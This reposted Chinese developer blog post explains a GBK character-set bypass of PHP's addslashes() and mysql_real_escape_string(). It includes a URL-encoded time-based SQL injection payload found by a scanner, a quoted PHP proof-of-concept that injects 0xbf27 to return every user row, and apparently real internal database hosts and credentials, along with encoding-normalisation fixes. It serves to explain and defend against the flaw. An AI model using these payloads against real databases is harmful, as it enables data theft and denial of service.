T086学习网 | 站长学院 | 技术文档 | 成语 | 歇后语 | 桌面壁纸 | 帝国时代 | 代码收藏 | IP地址查询 | 生活百科 | 生日密码 | CSS压缩 | 用户评论

PHP字符编码绕过漏洞--addslashes、mysql_real_escape漏洞

【 作者:zhuizhuziwo 更新时间:2013-05-07 | 字体:
[导读]在上次活动开发过程中,有个程序写了下面这样的语句:$sName = $_GET['name']; $sName = addslashes($sName); $sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; va...

在上次活动开发过程中,有个程序写了下面这样的语句:

$sName = $_GET['name']; 
$sName = addslashes($sName); 
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; 
var_dump($sql);  
exit(); 

结果扫描工具一扫描,发现问题来了,被扫除了SQL注入漏洞,而且还引发了整个数据表被锁住(备注:见第二部分)

检查安全中心扫描日志发现:
当SQL输入为:
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的时候引发了SQL注入。
//这里输出:
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"


根本原因是addslash对于字符%BF%27的漏洞。


该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过  addslashes()  转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
          mysql_real_escape_string() 也存在相同的问题,只不过相比  addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。
在MySQL中有两种改变默认字符集的方法。
方法一:
改变mysql配置文件my.cnf
 [client]
default-character-set=GBK


方法二:
在建立连接时使用
CODE:
SET  CHARACTER  SET  'GBK'
例:mysql_query("SET  CHARACTER  SET  'gbk'",  $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);


问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和  addslashes()  一样的漏洞(备注:这句话是摘抄的,我也没看懂)


网络上查询到有人说:
当mysql_real_escape_string检测到的编码方式跟client设置的编码方式(big5/bgk)不一致时,mysql_real_escape_string跟addslashes是没有区别的 
比如 
[client] 
default-character-set=latin1 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
这种情况下mysql_real_escape_string  是基于  latin1工作的,是不安全的 


[client] 
default-character-set=gbk 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
这种情况下,mysql_real_escape_string  基于  gbk  工作,是正常的 


但是,这里我108、153上验证的都不成功:
用12机器的php文件在108机器mysql上,查询到


在153链接测试环境CDB结点:
 
执行来自:
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #'; 
$_POST['password']  =  'anything'; 


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records


?>
发现:都存在漏洞

 


纵观以上两种触发漏洞的关键是addslashes()、mysql_real_escape_string()在Mysql配置为GBK时就可以触发漏洞,
另外:mysql_real_escape_string在执行前,必须正确连接到Mysql才有效。


又有,上面产生漏洞的原因主是有GBK的特殊字符所引起的,因而,我们需要在进行addslashes或者mysql_real_escape之前,对输入字符串进行特殊处理一下。


$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);             
Iconv这种方式比较粗暴,对于不能识别的特殊字符之后的语句在153机器上会截断不能识别的字符后面的内容:
如下:
string(32) "41縗' or sleep(10.10)=0 limit 1#"
string(2) "41"


或者用mb_convert_encoding这个方式
$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');
$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');
这种方式会过滤掉不能识别的GBK字符。


这样处理之后,使用addslashes就没有问题拉。


后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 


参考网页:
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://ar.newsmth.net/thread-1d64171197dd0d-1.html

 

第二部分:
SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%


在上面SQL注入语句中,当count和SLEEP语句放在一块后,会引发mysql进程在表的每条记录上都sleep(n)秒,所以,如果如果表中有1000条记录时就会sleep 1000*n秒。
而且这里还会引起整个表的锁表。

原文:http://blog.csdn.net/zhuizhuziwo/article/details/8525789

友荐云推荐
  • 转载请注明来源:IT学习网 网址:http://www.t086.com/ 向您的朋友推荐此文章
  • 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系我们,我们会尽快予以更正。
RSS订阅
  • QQ邮箱
  • 填写您的邮件地址,订阅我们的精彩内容:
更多
留言建议ASP探针PHP探针站长Enjoy的Blog
© 2014 T086学习网 - T086.com(原itlearner.com)
RunTime:8.24ms QueryTime:7